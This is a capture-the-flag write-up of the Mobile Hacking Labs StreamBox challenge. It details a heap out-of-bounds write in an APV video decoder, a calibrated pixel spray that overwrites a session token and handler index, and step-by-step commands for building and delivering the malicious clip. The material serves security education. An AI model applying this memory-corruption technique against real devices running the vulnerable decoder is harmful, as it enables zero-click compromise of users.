← Terug naar blog

Mobile Hacking Labs - StreamBox write-up

21 September 2026

This post documents my solution to the Mobile Hacking Labs StreamBox challenge. StreamBox is an Android APV (Advanced Professional Video) player that automatically decodes imported and shared clips. I got first blood on this challenge by being the first participant to submit a successful solution. The player contains a vulnerability CVE-2026-28618, It is the same bug class, in the same decoder, as CVE-2026-0006, the zero-click APV RCE exploited in the wild earlier this year.

AI assistance disclosure & Spoiler warning

AI was used to assist with technical research and analysis, and to help write and edit this blog post. Each step was manually validated and tested against the challenge emulator. Please be aware that this post contains the complete solution, exploit construction, reproduction steps for the StreamBox challenge.

For this challenge the following was provided:

  • streambox-lab.apk, the Android application to reverse and exploit;
  • make_clip.py, a starter helper for working with APV clips;

This post follows that process from the Android entry point to a token-specific clip validated on the challenge emulator. It also explains how to build the required OpenAPV encoder, incorporate the live token, generate the malicious clip, and import the resulting file.

1. Challenge overview

Challenge objective

The challenge brief asks for more than an out-of-bounds write. To win, the corrupted session must pass a token comparison and drive a native handler dispatch:

session->token == current_token
session->handler_index == 2

A crash proves reachability. This challenge instead asks for controlled execution of a specific native target.

CVE-2026-28618 in brief

CVE-2026-28618 is a heap out-of-bounds write in the OpenAPV decoder. The decoder can trust dimensions from an encoded FRAME that are larger than the output image supplied by its caller. Without a capacity check, frame reconstruction writes beyond the logical image buffer.

The September 2026 Android Security Bulletin classifies it as a Critical remote-code-execution issue in the Android System component and lists it under the Media Codecs Mainline module. The bulletin lists Android 16, 16-qpr2, and 17 as affected, and states that exploitation requires neither additional execution privileges nor user interaction.

StreamBox recreates the vulnerable condition directly: the wrapper supplies a fixed 64×64 output image while the malicious APV contains a 64×192 FRAME. In this lab, the resulting write is used for controlled dispatch to the existing win() handler. The challenge therefore demonstrates the CVE's core memory corruption primitive without claiming arbitrary native-code execution.

2. Reverse engineering the target

Mapping the Android attack surface

I started at the Android layer to understand how an untrusted clip reaches native code. The package is com.mobilehackinglab.streambox, and its exported, singleTask MainActivity exposes three useful input paths:

  1. selecting a clip with StreamBox's OPEN_DOCUMENT file picker;
  2. sending video/* or application/octet-stream through ACTION_SEND, or viewing equivalent content:// and file:// inputs; and
  3. opening a browsable deep link of the form:
streambox://play?url=http(s)://host/path/clip.apv

A basic static-analysis pass is enough to recover both layers:

jadx -d jadx-out streambox-lab.apk
unzip -p streambox-lab.apk \
  lib/arm64-v8a/libstreamboxdec.so > libstreamboxdec.so
readelf -Ws libstreamboxdec.so | rg 'streambox|handler|win'

The APK ships only the ARM64 native library. It is unstripped, so the symbol table supplies useful names before deeper disassembly is necessary.

Incoming content is copied byte-for-byte to the app's private files/incoming.apv path; there is no Java-side APV validation. Shared and viewed content opens immediately. The file-picker path is noticed by a 1.5-second watcher and auto-played after the copy changes.

The app then starts the non-exported PlayerActivity with the private file path. PlayerActivity calls NativeDec.setVideoTitle() followed synchronously by NativeDec.loadClip(). That JNI call enters the ARM64 library libstreamboxdec.so before the player WebView is constructed.

The high-level success path is:

file picker / share intent / deep link
                 |
                 v
            MainActivity
                 |
                 v
           PlayerActivity
                 |
                 v
       NativeDec.loadClip()
                 |
                 v
        libstreamboxdec.so
                 |
          status == 2
                 |
                 v
         PremiumActivity
                 |
                 v
  sessionProof() -> /api/unlock -> flag

This is useful for two reasons. First, no separate media application or system player is needed: StreamBox itself invokes the vulnerable decoder. Second, the native return value tells the player WebView whether to enter the premium path. After playback, statuses 1 and 2 both open PremiumActivity: status 1 renders a session anomaly, while status 2 displays SESSION COMPROMISED and continues through the successful unlock path.

Recovering the native control flow

libstreamboxdec.so is unstripped, which makes the native side unusually pleasant to navigate. Symbol inspection and disassembly identify the principal entry point and the challenge's small handler table:

Symbol ARM64 image-relative address Purpose
streambox_load 0x1e2e8 Parse and decode an imported clip
g_handlers 0x24000 Three-entry function table
handler_noop 0x1f17c Benign handler
decoy handler 0x1f194 Wrong target
win 0x1f1ac Premium/vault path

The relevant post-decode logic is equivalent to:

oapvd_decode(decoder, &bitstream, &frames, NULL, &status);

if (session->token == g_token && session->handler_index <= 2) {
    g_handlers[session->handler_index]();
}

The offline token stored in the native library is 0x03e80143. When connected to the challenge service, JNI replaces it with the live instance token shown by the app.

Handler index 2 calls win(). That function sets the global platinum-hit flag, causing streambox_load to return 2. In offline mode it accesses the app-private vault directly. In server mode, PremiumActivity obtains the 64-byte session snapshot from NativeDec.sessionProof() and sends it to /api/unlock. The request uses challenge tier 3 and authenticates instance_id + ":" + session_hex with an HMAC-SHA256 ticket derived from the native ticket key. A successful response supplies the flag shown by the UI.

A malformed session can reach the partial status-1 anomaly path, but the server will not accept it. This is why visible corruption alone does not solve the challenge: both the token and handler index must be exact.

This is controlled dispatch through a fixed function table, not arbitrary program-counter control. The binary has NX and full RELRO, and g_handlers itself is not overwritten; the exploit changes only the bounded table index. It is nevertheless exactly the execution primitive the challenge requires.

3. Understanding the vulnerability

The missing decoder check

The native library is based on OpenAPV v0.2.0.0. StreamBox constructs a planar YUV422 10-bit destination image with a declared size of 64×64:

Y: arena + 0x000000, width 64, height 64, stride 0x80
U: arena + 0x006040, width 32, height 64, stride 0x40
V: arena + 0x106040, width 32, height 64, stride 0x40

The vulnerable decode path then trusts the dimensions carried in the FRAME PBU without ensuring that this caller-provided image is large enough. If the bitstream describes a 64×192 frame, the decoder processes 192 rows even though the logical output image has room for only 64.

The missing defense is conceptually tiny:

if (imgb->w[0] < frame_width || imgb->h[0] < frame_height) {
    return OAPV_ERR_INVALID_ARGUMENT;
}

That matching validation was later added upstream as an output-image buffer-size fix. The Android bulletin rates CVE-2026-28618 as a Critical Media Codecs RCE, while the challenge identifies this OpenAPV size mismatch as its vulnerable primitive.

Public APV demonstrations often create a mismatch between dimensions reported by AU_INFO and those in the later FRAME PBU. StreamBox makes the challenge simpler and cleaner: its custom wrapper already supplies a fixed, undersized 64×64 output image. No forged AU_INFO is required. A valid encoder-produced 64×192 FRAME is enough to reach the bug.

The generated .apv is a direct elementary stream rather than an MP4 container. At a high level it repeats:

[u32be access-unit size]
    "aPv1"
    [u32be PBU size][PBU]
    [u32be PBU size][PBU]
    ...

The FRAME PBU carries the dimensions that drive tile reconstruction. Because the challenge wrapper has already created the metadata/capacity disagreement, the exploit can preserve this normal encoder-produced structure.

One allocation, two security domains

The wrapper allocates a single 0x206040-byte arena and uses it for both image storage and the security-sensitive session. The placement is:

session = arena + 0x2000 + ((rand() % 16) << 10);

In other words, the session begins at one of sixteen arena-relative offsets:

0x2000, 0x2400, 0x2800, ..., 0x5c00

The important session fields are:

session + 0x00  uint64_t magic
session + 0x08  uint32_t token
session + 0x0c  uint32_t handler_index

The layout can be visualized as follows:

arena + 0x0000  +----------------------------------+
                | legitimate 64x64 Y plane         |
                | 64 rows * 0x80-byte stride       |
      + 0x2000  +----------------------------------+  logical Y end
                | possible session slot 0          |
      + 0x2400  | possible session slot 1          |
                | ...                              |
      + 0x5c00  | possible session slot 15         |
      + 0x6000  +----------------------------------+  oversized Y write end
      + 0x6040  | U plane begins                   |
                +----------------------------------+

Keeping both objects in one large allocation makes the bug reliable. The decoder can cross the logical end of the Y plane and corrupt the session without crossing the allocator's actual mapping or immediately faulting.

Handling the randomized session position

StreamBox exposes a 64-byte diagnostic blob. Its final sixteen bytes contain two little-endian pointers:

bytes  0..47  title / diagnostic text
bytes 48..55  arena pointer
bytes 56..63  session pointer

Subtracting them yields the current placement:

delta = session_pointer - arena_pointer

The WebView parser performs this subtraction and renders the delta directly. That value is fixed for the lifetime of the process, so it could be used to build a payload for one exact session position. Initially this looks like the intended answer to “find the heap layout.”

There is a more robust option, though. The placement has only sixteen possible values, and all of them lie within the same controllable luma range. Rather than parsing a leak and producing a process-specific file, the exploit can put the desired words at every candidate location. The final clip is universal across the sixteen placements, although it remains specific to the current token.

Why the frame is exactly 64×192

The normal 64×64 Y plane occupies:

64 rows * 0x80 bytes per row = 0x2000 bytes

That is also the first possible session offset. The farthest session begins at 0x5c00 and its controlled fields end at 0x5c0f. A frame tall enough to decode through row 191 writes:

192 rows * 0x80 bytes per row = 0x6000 bytes

This geometry has three useful properties:

  • it reaches every possible session placement;
  • 192 is aligned to the codec's 8-row block structure; and
  • the luma write ends at 0x6000, still 0x40 bytes before the U plane at 0x6040.

The height is therefore not an arbitrary “large” value. It is the smallest convenient block-aligned height that reaches the final candidate and stays cleanly within the arena layout.

4. Building a controlled write

Turning decoded pixels into structured memory

For the luma plane, each 10-bit sample is stored in a 16-bit little-endian word. Its destination address is:

address = arena + row * 0x80 + column * 2

For candidate placement number n:

delta(n) = 0x2000 + n * 0x400
row(n)   = delta(n) / 0x80
         = 64 + n * 8

The sixteen candidate rows are consequently:

64, 72, 80, 88, ..., 184

The token is eight bytes into the session. Dividing that byte offset by the two-byte sample size gives luma column 4. Four consecutive samples at columns 4 through 7 cover the token and handler index:

column 4  token bits  0..15
column 5  token bits 16..31
column 6  handler bits  0..15
column 7  handler bits 16..31

The target sample sequence is therefore:

[token & 0xffff, token >> 16, 2, 0]

The challenge's live tokens are constructed so that both 16-bit halves fall in the 10-bit luma range 0..1023. The exploit generator checks this constraint before creating a clip.

For the offline token:

token = 0x03e80143

low half   = 0x0143 = 323
high half  = 0x03e8 = 1000
handler    = 0x00000002

desired samples = [323, 1000, 2, 0]

Each candidate row starts at the session magic. Background samples in columns 0 through 3 replace that magic while columns 4 through 7 install the two controlled fields. This is helpful because the server expects evidence that the session was actually corrupted rather than merely replayed with an intact magic value.

The surprising setback: QP 0 is not byte-exact

At this point the exploit appears almost trivial: create a raw YUV frame, put the desired integers at sixteen rows, and run the reference encoder at QP 0. That first attempt is not reliable.

QP 0 is visually lossless, but the target encoder's transform and reconstruction rounding can change individual samples. A source value of 2 might reconstruct as 1 or 3. For video this difference is irrelevant. For a 32-bit equality check it is fatal.

Correcting only the four visible target samples is also fragile because APV operates on an 8×8 block. Neighboring values affect transform coefficients and rounding across the block. The exploit generator therefore treats the entire 8×8 luma block as the unit of correction.

The calibration loop is:

source_block = desired_block.copy()

while True:
    reconstructed = encode_and_reconstruct(source_block)
    if reconstructed[target_slice] == desired_words:
        break

    for i in range(64):
        error = desired_block[i] - reconstructed[i]
        source_block[i] = clamp(source_block[i] + error, 0, 1023)

The OpenAPV encoder's -r option writes the reconstructed YUV frame. After each trial, the calibration routine reads that frame, computes the full-block residual, and feeds it back into the next candidate. Since QP 0 is close to the identity, the process normally converges in only a few iterations.

For the offline token, the four source positions are not the four values we ultimately want:

desired reconstruction: [323, 1000, 2, 0]
calibrated source:       [322,  997, 6, 1]

Those source samples reconstruct to the desired words exactly. The same calibrated 8×8 block is sprayed at rows 64, 72, ..., 184.

Finally, the solver performs one complete production encode, reads its reconstruction, and verifies every sprayed row. It only writes a successful result after all target words match. Reliability comes from checking the artifact that will be delivered, not merely trusting the calibration phase.

5. Creating the exploit generator

The supplied make_clip.py is useful as an introduction to producing APV content, but it is not the finished exploit. With the help of AI, I wrote solve.py as part of the solution to automate the exact-write problem described above.

The script performs the following pipeline:

  1. Create a 64×192 planar YUV422P10LE source frame.
  2. Split the current 32-bit token into its low and high 16-bit words.
  3. Append the two handler words [2, 0].
  4. Place that four-word target in an 8×8 luma block.
  5. Ask the external encoder to encode and reconstruct the block at QP 0.
  6. Feed the full 8×8 reconstruction error back into the source block until the four relevant output words are exact.
  7. Spray the calibrated block over all sixteen candidate session rows.
  8. Encode the final APV and verify every selected target row before keeping the output file.

solve.py uses only Python's standard library, but it deliberately does not reimplement the APV codec. Instead, it repeatedly invokes OpenAPV's oapv_app_enc program. This is why the encoder is a required argument rather than a fixed path inside the script.

The reproduction uses only three command-line parameters:

Parameter Purpose
--encoder PATH Path on the host to oapv_app_enc. It is used for APV encoding and -r reconstruction feedback.
--token VALUE The live 32-bit token that must survive decoding exactly. Decimal and 0x-prefixed values are accepted.
--output FILE Name of the generated malicious APV file.

The token must be a parameter because the challenge service creates a fresh instance value and passes it into native code through JNI. streambox_load compares all 32 bits for equality, so a payload made for an old instance will not dispatch win() on a new one.

The encoder path must also be a parameter because oapv_app_enc is an external host binary whose installation directory varies. More importantly, the script needs the real target-compatible codec for its reconstruction feedback; a generic file writer cannot predict the transform-rounding errors. The output parameter simply gives the finished clip a predictable name for the ADB delivery step.

6. Reproducing the exploit

Setting up the OpenAPV encoder

Run the build on the host machine, not inside the Android emulator. The prerequisites are:

  • Python 3 for solve.py;
  • Git to obtain OpenAPV;
  • CMake and a working C/C++ build toolchain; and
  • ADB for installing the APK and delivering the generated clip.

The target matches OpenAPV v0.2.0.0, so check out that exact tag. Matching the target version avoids introducing different reconstruction behavior:

git clone --branch v0.2.0.0 --depth 1 \
  https://github.com/AcademySoftwareFoundation/openapv.git

cmake -S openapv -B openapv/build -DCMAKE_BUILD_TYPE=Release
cmake --build openapv/build -j

When these commands are run from the directory containing solve.py, the encoder path is:

openapv/build/bin/oapv_app_enc

Verify that the build produced an executable:

test -x openapv/build/bin/oapv_app_enc \
  && echo "OpenAPV encoder is ready"

The resulting working layout is:

streambox-challenge/
├── solve.py
├── streambox-lab.apk
└── openapv/
    └── build/
        └── bin/
            └── oapv_app_enc

Running the exploit end to end

Step 1: Install and start StreamBox

Confirm that ADB can see the lab emulator, install the supplied APK if necessary, and launch its exported activity:

adb devices
adb install -r streambox-lab.apk
adb shell am start -W \
  -n com.mobilehackinglab.streambox/.MainActivity

If the lab image already contains StreamBox, the install command can be skipped.

Step 2: Wait for the live token

Do not generate or deliver the clip while the footer still says connecting…. Wait until it changes to instance … · access token 0x.... Server initialization is asynchronous, and a clip delivered during a cold start can decode against the built-in offline token before JNI installs the live value.

Record the displayed token without restarting the app. One test instance used decimal token 40173807, equivalent to 0x026500ef.

Step 3: Generate exploit.apv

From the directory containing solve.py and the openapv build, pass the current token and encoder path:

python3 solve.py \
  --encoder openapv/build/bin/oapv_app_enc \
  --token 40173807 \
  --output exploit.apv

Substitute the token from the running app. Decimal and 0x-prefixed values are both accepted. The command calibrates the QP-0 source block, creates the layout-universal spray, verifies the reconstructed words, and writes exploit.apv.

The generated clip covers all sixteen session positions. Do not restart the app between reading the token and importing the clip because a new challenge instance can invalidate the token.

Step 4: Deliver the clip to the emulator

The simplest route is to copy the clip into shared storage:

adb push exploit.apv /sdcard/Download/exploit.apv

adb push alone does not import or play the file. Tap + Import .apv clip in StreamBox and select Download/exploit.apv. The app copies it into private storage and decodes it automatically.

Optional: use the deep link

The deep-link path is convenient for repeatable testing. From the directory containing exploit.apv, expose a host HTTP server to the emulator:

adb reverse tcp:8000 tcp:8000
python3 -m http.server 8000

In another terminal, invoke the exported URL handler:

adb shell am start -W \
  -n com.mobilehackinglab.streambox/.MainActivity \
  -a android.intent.action.VIEW \
  -d 'streambox://play?url=http%3A%2F%2F127.0.0.1%3A8000%2Fexploit.apv'

The end-to-end chain is now:

64x192 FRAME
     |
     v
decoder trusts encoded height
     |
     v
luma write crosses the 64x64 logical boundary
     |
     v
all 16 possible session rows are sprayed
     |
     v
session.token == current_token
session.handler_index == 2
     |
     v
g_handlers[2] -> win()
     |
     v
PremiumActivity -> sessionProof() -> /api/unlock
     |
     v
flag

Result

The challenge emulator returned the following flag, redacted here while preserving its original length:

MHL{4***************************7}

Thanks to Mobile Hacking Lab for creating this interesting challenge.

References